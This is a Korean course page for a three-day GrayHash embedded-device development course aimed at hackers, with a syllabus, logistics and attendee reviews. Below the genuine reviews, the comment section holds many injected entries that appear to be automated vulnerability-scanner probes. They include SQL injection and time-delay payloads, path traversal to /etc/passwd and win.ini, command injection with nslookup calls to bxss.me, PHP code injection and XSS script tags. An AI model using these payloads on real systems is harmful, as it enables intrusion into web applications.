해커를 위한 임베디드 장비 개발 실습
 
강의 요약

    스마트플랫폼, 사무기기, 가전제품 등의 다양한 임베디드 기기들이 대중화 되고, 본격적인 사물인터넷(IoT)의 시대가 도래함에
    따라 하드웨어 해킹의 위협 또한 증가되고 있습니다. 본 트레이닝에선 Linux 기반의 임베디드 장비 개발 실습을 통하여 임베디드
    시스템의 내부 구조를 이해하고, 이를 통해 대상 기기에 대한 취약점 분석/해킹 능력을 향상시키는 것을 목표로 하고 있습니다.
    참가자들은 본 트레이닝을 통해 임베디드 시스템의 하드웨어적인 구성 및 펌웨어의 구조와 세부적인 작동 원리를 파악할 수 있게 됩니다.

기본 정보

    • 강의명 : 해커를 위한 임베디드 장비 개발 실습
    • 강사 : 이원, 정구홍
    • 강의 일정 : 2018년 4월 25일(수) ~ 4월 27일(금)
    • 강의 시간 : 매일 오전 10시~오후 6시
    • 강의 장소 : 분당구 정자동 Grayhash 트레이닝룸 [위치보기]
    • 수강 정원 : 10명 (최소 인원 5명)
    • 강의 비용 : 2,000,000원 (VAT 별도)
    • 중식 및 다과 제공

주요 교육 내용

    • ARM 프로세서 기반 임베디드 시스템의 구조 이해
    • 임베디드 시스템 개발 환경 구축 및 개발 실습
    • 부트로더 및 운영체제의 이해
    • 하드웨어 통신 프로토콜의 이해
    • 주변장치 제어 방법의 이해

상세 교육 내용


    1일차 - 기초 펌웨어 개발
    
    • 실습 장비 Grayhash DanbiBoard-BASIC 소개 및 Spec 설명
    • Firmware, Bootloader, OS, Filesystem의 이해
    • CPU 관점에서 본 부팅 과정의 이해
    • 실습 : 펌웨어 개발 환경 구축
    • 펌웨어 코드 작성 이론 설명
    • 실습 : 기본 펌웨어 개발 및 퓨징
    • 펌웨어 코드 분석 및 GPIO의 이해
    • UART를 이용한 DEBUG 메시지 출력
    • 해커의 관점에서 본 UART 프로토콜
    • 실습 : LED 등 주변장치 제어
    • 하드웨어 통신 프로토콜 I2C의 이해
    • 마무리 실습 : Character LCD 제어


    2일차 - 리눅스 시스템 개발

    • 실습 장비 Grayhash DanbiBoard-EDU 소개 및 Spec 설명
    • 부트로더(Bootloader)의 이해
    • 메모리, 메모리 컨트롤러 및 메모리 맵의 이해
    • 해커의 관점에서 본 메모리 맵
    • DDR2 RAM 초기화 방법에 대한 이해    
    • 실습 : RAM 초기화 및 RAM 테스트    
    • U-BOOT의 구조 및 커널 로딩 과정의 이해     
    • 실습 : U-BOOT 포팅 및 퓨징    
    • 부트로더를 이용한 펌웨어 업그레이드    
    • 해커의 관점에서 본 부트로더 (부트로더 보안체계 우회 사례들)
    • 실습 : Linux Kernel 컴파일 및 퓨징    
    • Root File System의 이해    
    • 실습 : Root File System 빌드 및 퓨징
    • 해커의 관점에서 본 Root File System
    • 리눅스 부팅 과정 및 파티션 구조의 이해
    • 마무리 실습 : 리눅스 시스템 부팅


    3일차 - 개발보드의 활용

    • 실습 장비 Grayhash DanbiBoard-PRO 소개 및 Spec 설명
    • 디바이스 드라이버의 이해        
    • 실습 : 디바이스 드라이버를 통한 주변장치 제어
    • 하드웨어 통신 프로토콜 SPI의 이해
    • 해커의 관점에서 본 SPI 프로토콜
    • TFT-LCD 디스플레이 연결    
    • Frame Buffer의 이해
    • 실습 : Frame Buffer 장치를 이용한 TFT-LCD 제어
    • 실습 : mp3 음원 및 동영상 재생
    • USB 시스템 작동 구조의 이해
    • 실습 : USB 키보드 및 랜카드 연결
    • Ethernet 시스템 작동 구조의 이해
    • 실습 : 네트워크 연결
    • 마무리 실습 : 게임 에뮬레이터 실행하기



    * 상기 1~3일차 교육 내용은 상황에 따라 일부 변동될 수 있습니다.

교재 및 실습 장비 목록

    [교재]
    • 강의 PPT

    [Hardware]
    • Grayhash 자체제작 보드 ver1~3

    [기타]
    • 수료증(certificate) 발급

교육자 준비사항

    • 노트북
    • Software : PowerPoint 혹은 Acrobat Reader, Vmware
    • 사전지식 : C언어 기초 (상수, 변수, 비트연산, 함수)


트레이닝 사진

트레이닝 수강 후기

    * 이건영역시 교육은 그레이해쉬가 최고인것같네요 ㅋㅋ

이번 강의는 임베디드 개발의 기초적인 배경지식부터 간단한 펌웨어 개발, RFS 빌드, 디바이스 드라이버, 에뮬레이터 실행 순서로 진행해서 개발경험이 별로
없는 분들에게 딱 맞는 교육이라고 생각합니다.
특히 그레이해쉬에서 직접 개발한 PCB를 기반으로 강의를 진행해서 더욱 이해가 쉬웠던것같고 임베디드 개발 경험이 뛰어난 강사님 덕분에 많은것을 얻어갑니다

수강 분위기도 좋았고 앞으로도 이런 교육이 꾸준히 있었으면 좋겠습니다.
고퀄리티 강의 감사드립니다!!
    * Endy전혀 새롭지 않은 분야이지만 대부분의 사람에게 완전 새로운 분야.
작동하는 것은 알았지만 막연하게 어떻게 작동될까 궁금하기만 했던 임베디드 분야.
그래서 더 재미있었고 시간을 들여 교육에 참가한 보람이 있었습니다.
IoT 기기 및 임베디드 장비를 만들고 운용하기 위한 기본적인 절차와
기술, 지식을 두루두루 배울 수 있어서 앞으로 임베디드 바다에서 헤엄칠 자신이
생긴것 같습니다.
더불어 강사님들의 열성적인 강의와 치밀한 사전 준비로 알찬 교육이 되었던것
같습니다.
감사하다는 말씀 전해드리고 앞으로도 승승장구 하시기 바랍니다.
    * Yang직접 개발한 단계별 보드로 전원공급부터 부트로더, 파일시스템, 에뮬의 실행까지의 내용을 차근차근 배울 수 있는 강의였습니다.
무엇보다 실습위주의 강의여서 재미있게 임베디드의 기초를 확립 할 수 있었습니다.
또한 개발하는 방법을 이해함으로써, 기기의 취약점 분석에 관한 지식도 넓힐 수 있었던것 같아 매우 만족합니다.

그레이 해쉬 짱 !!
    * Ranivris순수한 소프트웨어 개발만 해 본 저에게는 딱 맞춤형인 임베디드 장비 개발 강의였던 것 같습니다.

짧은 기간에 임베디드 장비 개발 프로세스 전체를 경험해 볼 수 있는 좋은 교육이라고 생각합니다.

삼일 간 열강 해주셔서 감사합니다.
    * 김성우하나하나 실습하며 강의를 진행한 것이 교육 내용를 이해하는 데 많은 도움이 되었습니다.

특히 강사님들이 강의하며 알려주신 노하우들에 감탄이 나왔습니다.

정말 좋은 강의였습니다!
    * eylee임베디드 시스템에 관하여 초보인 저에게 필요한 교육이였습니다.
직접 제작하신 보드를 가지고 부트롬-부트스트랩-커널-파일 시스템 까지
교육 내용과 실습에 부족함이 없었습니다.
교육에 사용되었던 부품들을 교육이 끝나고 가져갈수 있어서 더욱 좋은것 같습니다.
이후 진행되는 후속 교육들도 듣고 싶어집니다~^^

좋은 강의 감사했습니다.~




    * m취약점 분석을 위해 메뉴얼대로만 펌웨어를 추출하고, 분석하고, 가상환경을 만들고 하는 과정에서
막히는 부분이 많았는데 직접 처음부터 개발하고 만들어가는 과정속에서 가려운 부분을 긁어주는 트레이닝이였습니다.

높은 퀄리티와 전문성 그리고 열과 성의를 가지고 강의해주셔서 다시 한 번 감사드립니다.
    * determined6730GrayHash에서 두번째로 듣는 강의였는데 역시나 믿고 들을만한 강의 였던 것 같습니다
특히 3일간 진행되면서 느낀점은 교육 준비에 많은 정성과 노력 그리고 강의 듣는 사람들을 위한 배려를 느낄 수 있어서 감동받았네요~
이번 강의를 통해서 단편적이었던 지식들을 하나로 엮을 수 있어서 좋았으며, 다순히 지식을 주입하기보단 중간중간 강사님들의 노하우등을 들을 수 있어서 그 또한 너무 좋았습니다!!

3일동안 정말 열심히 강의 해 주셔서 정말 감사드리며 GrayHash에서 나오는 모든 트레이닝 과목의 수료증을 받을 수 있길 바라며 다음에도 좋은 기회가 생긴다면 꼭 다시 찾아뵙겠습니다^^
감사합니다!!
    * 이**강사님이 직접 디자인하신 단비 보드 3개를 통해 임베디드 개발이 진행되는 전반적인 과정을 이해할 수 있어서 너무 좋았습니다 ㅜ
임베디드 개발자가 아니면 쉽게 알 수 없는 내용을 3일간의 교육으로 배울 수 있었습니다. 단계별로 해당되는 보드를 사용하면서 부트스트랩, 부트로더, 커널, 파일시스템을 올려보고, 마지막엔 게임 에뮬레이터까지 올려보면서 임베디드 장비가 어떻게 만들어 지는지 이해할 수 있었습니다. 뿐만 아니라, 강사님의 다년간의 임베디드 개발 노하우까지 알려주시고, 모든 질문에도 상세하게 답해주셔서 정말 좋았습니다. 임베디드 기기에 대한 취약점을 찾고 분석하시는 분들에게 강력히 추천하고 싶은 트레이닝인것 같습니다 :) 돌아가서 업무를 진행하는데도 많은 도움이 될 것같습니다. GRAYHASH의 다른 트레이닝도 기회가 되면 수강해야할것같습니다 ㅎ
    * 찌니찌니GrayHash교육은 처음이었는데 다른 여타 교육들에 비해 정말 실전용(?) 지식을 전달해주는 교육 내용도 좋았지만 여러가지 실습을 기반으로 이해하기 편하게 교육을 진행해주신 점이 아주 좋았습니다. 초보도 쉽게 이해할 수 있었다고 쓰고 싶지만 기반 지식이 전혀 없던 사람이라 조금 어렵긴 했습니다...ㅋㅋㅋㅋ 그래도 소규모로 진행되는 교육이라 질문하기 편한 분위기여서 여러모로 많이 배울 수 있던 교육이라 생각합니다! 다음에는 다른거 들으러 올게요ㅋ
    * 쪼쪼두번째로 듣는 GrayHash교육이었습니다. 역시 기대한만큼 재미있고 유익한 시간이었습니다.
이미지 빌드부터 시작해 아무것도 올라가있지 않은 보드에 리눅스포팅까지 해보며
임베디드 보드 구조 및 구동에대해 전반적으로 알 수 있었습니다.
교육 과정, 교육 자료 모든게 만족스러웠지만 무엇보다 임베디드 개발자가 아닌 초보자도
알기 쉽게 풀어 설명해주시고, 질문하면 정말 친절하게 다 알려주셔서 너무 좋았습니다.
저는 기회가 되면 다른거 들으려고 강의 목록 보고있습니다 ㅋㅋㅋ(언젠간 또 들을수 있겠지...또듣고싶다....)
혹시나 후기보고 강의 들을지 말지 결정해야겠다 하고 스크롤 내리신분들
주저하지 마시고 당장 신청하세요!!!!

마지막으로 강사님들 좋은 강의 너무너무 감사드리고 수고많으셨습니다~! :)
    * linayachika평소에 궁금했던 리눅스 커널 관련 내용들을 많이 알 수 있어 좋았고,
3일동안 많은 지식을 습득하느라 힘들었지만 그만큼 도움이 된 것 같네요~

제가 임베디드에 너무 초보인데다가 컨디션이 안좋아서 집중을 못한게 아쉽네요 ㅋㅋ 질문에 친절하게 대답해주셔서 감사했습니다.
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsqBQt2Wnp1
    * JCfUZQsq-1 OR 2+163-163-1=0+0+0+1 --
    * JCfUZQsq-1 OR 2+895-895-1=0+0+0+1
    * JCfUZQsq-1' OR 2+406-406-1=0+0+0+1 --
    * JCfUZQsq-1' OR 2+24-24-1=0+0+0+1 or 'CzwAori9'='
    * JCfUZQsq-1" OR 2+313-313-1=0+0+0+1 --
    * JCfUZQsqif(now()=sysdate(),sleep(15),0)
    * JCfUZQsq0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
    * JCfUZQsq0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
    * JCfUZQsq(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
    * JCfUZQsq-1; waitfor delay '0:0:15' --
    * JCfUZQsq-1); waitfor delay '0:0:15' --
    * JCfUZQsq1 waitfor delay '0:0:15' --
    * JCfUZQsq7BjY1q4z'; waitfor delay '0:0:15' --
    * JCfUZQsq-5 OR 726=(SELECT 726 FROM PG_SLEEP(15))--
    * JCfUZQsq-5) OR 207=(SELECT 207 FROM PG_SLEEP(15))--
    * JCfUZQsq-1)) OR 94=(SELECT 94 FROM PG_SLEEP(15))--
    * JCfUZQsqiAAA9bY3' OR 834=(SELECT 834 FROM PG_SLEEP(15))--
    * JCfUZQsqDU4cvxsF') OR 202=(SELECT 202 FROM PG_SLEEP(15))--
    * JCfUZQsqt1bvga9A')) OR 610=(SELECT 610 FROM PG_SLEEP(15))--
    * JCfUZQsq555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
    * JCfUZQsq555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
    * JCfUZQsq1'"
    * JCfUZQsq1%2527%2522
    * JCfUZQsq@@yS7us
    * JCfUZQsq555
    * JCfUZQsq555
    * mBCb723y555
    * -1 OR 2+41-41-1=0+0+0+1 --555
    * -1 OR 2+937-937-1=0+0+0+1555
    * -1' OR 2+243-243-1=0+0+0+1 --555
    * -1' OR 2+300-300-1=0+0+0+1 or 'HWPCcAPY'='555
    * -1" OR 2+812-812-1=0+0+0+1 --555
    * if(now()=sysdate(),sleep(15),0)555
    * 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z555
    * 0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z555
    * (select(0)from(select(sleep(15)))v)/*'+(select(0)f555
    * 1 waitfor delay '0:0:15' --555
    * 7bVxsiDL'; waitfor delay '0:0:15' --555
    * ldRjzETL' OR 33=(SELECT 33 FROM PG_SLEEP(15))--555
    * OaChx0r3') OR 379=(SELECT 379 FROM PG_SLEEP(15))--555
    * 8N83GG8U')) OR 466=(SELECT 466 FROM PG_SLEEP(15))-555
    * JCfUZQsq'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(555
    * 1'"555
    * 1%2527%2522555
    * @@0d9R7555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsqKClnXs5j
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * RLytFVL5555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsqresponse.write(9577136*9189814)
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq'+response.write(9577136*9189814)+'
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq"+response.write(9577136*9189814)+"
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * response.write(9465868*9855262)555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * '+response.write(9465868*9855262)+'555
    * JCfUZQsq555
    * JCfUZQsq
    * JCfUZQsq<esi:include src="http://bxss.me/rpb.pn555
    * JCfUZQsq555
    * JCfUZQsq555
    * "+response.write(9465868*9855262)+"555
    * JCfUZQsq../../../../../../../../../../../../../../etc/passwd
    * JCfUZQsq12345'"\'\");|]*{
<>''💡
    * JCfUZQsq${9999255+9999608}
    * JCfUZQsq555
    * JCfUZQsq555
    * WWFaN2ZHdjA=555
    * JCfUZQsq../../../../../../../../../../../../../../windows/win.ini
    * JCfUZQsq
    * ${9999058+9999277}555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq../555
    * 12345'"\'\");|]*{ <>''💡555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * ../../../../../../../../../../../../../../etc/pass555
    * JCfUZQsq555&n988358=v959583
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * ../../../../../../../../../../../../../../windows/555
    * JCfUZQsq&n951762=v917433555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsqecho hotvje$()\ ormhkf\nz^xyu||a #' &echo hotvje$()\ ormhkf\nz^xyu||a #|" &echo hotvje$()\ ormhkf\nz^xyu||a #
    * ../JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq&echo qqnuif$()\ nlqgah\nz^xyu||a #' &echo qqnuif$()\ nlqgah\nz^xyu||a #|" &echo qqnuif$()\ nlqgah\nz^xyu||a #
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq)
    * JCfUZQsq555
    * JCfUZQsq|echo yqdlog$()\ tsnjga\nz^xyu||a #' |echo yqdlog$()\ tsnjga\nz^xyu||a #|" |echo yqdlog$()\ tsnjga\nz^xyu||a #
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq!(()&&!|*|*|
    * JCfUZQsq
    * JCfUZQsq(nslookup hitmfivmsrzhq8526a.bxss.me||perl -e "gethostbyname('hitmfivmsrzhq8526a.bxss.me')")
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq'.gethostbyname(lc('hitot'.'zpfsuitt01de4.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(105).chr(86).chr(105).chr(86).'
    * JCfUZQsq^(#$!@#$)(()))******
    * JCfUZQsq'"()
    * JCfUZQsq$(nslookup hiteuijglldqm0d6c2.bxss.me||perl -e "gethostbyname('hiteuijglldqm0d6c2.bxss.me')")
    * JCfUZQsq555
    * JCfUZQsq".gethostbyname(lc("hitot"."bmlpwoqsc5ff0.bxss.me."))."A".chr(67).chr(hex("58")).chr(110).chr(80).chr(111).chr(73)."
    * )555
    * JCfUZQsq&(nslookup hitjynxhlvode1d05c.bxss.me||perl -e "gethostbyname('hitjynxhlvode1d05c.bxss.me')")&'\"`0&(nslookup hitjynxhlvode1d05c.bxss.me||perl -e "gethostbyname('hitjynxhlvode1d05c.bxss.me')")&`'
    * JCfUZQsq1some_inexistent_file_with_long_name.jpg
    * JCfUZQsq555
    * '.gethostbyname(lc('hitbl'.'hhwzncvd4b51d.bxss.me.555
    * !(()&&!|*|*|555
    * '"()555
    * JCfUZQsq|(nslookup hitjuchyzaicq838b6.bxss.me||perl -e "gethostbyname('hitjuchyzaicq838b6.bxss.me')")
    * JCfUZQsqHttp://bxss.me/t/fit.txt
    * JCfUZQsq555
    * ^(#$!@#$)(()))******555
    * ".gethostbyname(lc("hitxv"."piurzzes4bc7b.bxss.me.555
    * JCfUZQsq555
    * JCfUZQsq`(nslookup hitawiczggnntad1cc.bxss.me||perl -e "gethostbyname('hitawiczggnntad1cc.bxss.me')")`
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq;(nslookup hitumckmfqlbmae671.bxss.me||perl -e "gethostbyname('hitumckmfqlbmae671.bxss.me')")|(nslookup hitumckmfqlbmae671.bxss.me||perl -e "gethostbyname('hitumckmfqlbmae671.bxss.me')")&(nslookup hitumckmfqlbmae671.bxss.me||perl -e "gethostbyname('hitumckmfqlbmae671.bxss.me')")
    * JCfUZQsqbxss.me
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * echo fwjzyc$()\ kajxly\nz^xyu||a #' &echo fwjzyc$(555
    * http://some-inexistent-website.acu/some_inexistent555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * &echo vgeutq$()\ rsmqjp\nz^xyu||a #' &echo vgeutq$555
    * 1some_inexistent_file_with_long_name.jpg555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * |echo tdysjl$()\ dcyucn\nz^xyu||a #' |echo tdysjl$555
    * Http://bxss.me/t/fit.txt555
    * JCfUZQsq555
    * JCfUZQsq"+"A".concat(70-3).concat(22*4).concat(99).concat(68).concat(115).concat(87)+(require"socket"
Socket.gethostbyname("hithc"+"tmkdqeflea7fd.bxss.me.")[3].to_s)+"
    * JCfUZQsq555
    * JCfUZQsqHttP://bxss.me/t/xss.html?%00
    * (nslookup hitphcwbuhern8dae0.bxss.me||perl -e "get555
    * http://bxss.me/t/fit.txt?.jpg555
    * JCfUZQsq555
    * JCfUZQsq'+'A'.concat(70-3).concat(22*4).concat(97).concat(75).concat(111).concat(68)+(require'socket'
Socket.gethostbyname('hitvz'+'kphsyypva17f0.bxss.me.')[3].to_s)+'
    * JCfUZQsq555
    * JCfUZQsqbxss.me/t/xss.html?%00
    * bxss.me555
    * $(nslookup hitvugmwptdyf725db.bxss.me||perl -e "ge555
    * JCfUZQsq;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
    * "+"A".concat(70-3).concat(22*4).concat(113).concat555
    * JCfUZQsqleave_comment.php
    * HttP://bxss.me/t/xss.html?%00555
    * &(nslookup hitxcrhbxdmaede8b3.bxss.me||perl -e "ge555
    * JCfUZQsq';print(md5(31337));$a='
    * JCfUZQsq555
    * '+'A'.concat(70-3).concat(22*4).concat(120).concat555
    * JCfUZQsqleave_comment.php
    * bxss.me/t/xss.html?%00555
    * |(nslookup hityedwmiyszv2b94c.bxss.me||perl -e "ge555
    * JCfUZQsq";print(md5(31337));$a="
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsqleave_comment.php/.
    * JCfUZQsq555
    * JCfUZQsq${@print(md5(31337))}
    * `(nslookup hitnbgmmwowgb54ba8.bxss.me||perl -e "ge555
    * JCfUZQsq)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
    * JCfUZQsq555
    * leave_comment.php555
    * JCfUZQsq555
    * ))))))))))))))))))))))))))))))))))))))))))))))))))555
    * JCfUZQsq${@print(md5(31337))}\
    * ;(nslookup hitlgzcfdgpfp7795a.bxss.me||perl -e "ge555
    * JCfUZQsq/xfs.bxss.me
    * leave_comment.php555
    * JCfUZQsq555
    * JCfUZQsq'.print(md5(31337)).'
    * JCfUZQsq555
    * /xfs.bxss.me555
    * leave_comment.php/.555
    * JCfUZQsq555
    * ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'))555
    * JCfUZQsq555
    * JCfUZQsq'"
    * ';print(md5(31337));$a='555
    * JCfUZQsq555
    * ";print(md5(31337));$a="555
    * JCfUZQsq<!--
    * JCfUZQsq555
    * ${@print(md5(31337))}555
    * '"555
    * JCfUZQsq555
    * ${@print(md5(31337))}\555
    * <!--555
    * JCfUZQsq555
    * '.print(md5(31337)).'555
    * JCfUZQsq555'"()&%<acx><ScRiPt >AShV(9557)</ScRiPt>
    * JCfUZQsq'"()&%<acx><ScRiPt >AShV(9986)</ScRiPt>
    * JCfUZQsq5559566319
    * JCfUZQsq'"()&%<acx><ScRiPt >AShV(9093)555
    * '"()&%<acx><ScRiPt >AShV(9040)</ScR555
    * JCfUZQsq9445852555
    * JCfUZQsq555
  * 작성자:       * 소속:       * 이메일:
   (성함, 혹은 닉네임을 입력해주세요. 입력해주신 정보들 중 작성자와 후기만 공개됩니다.)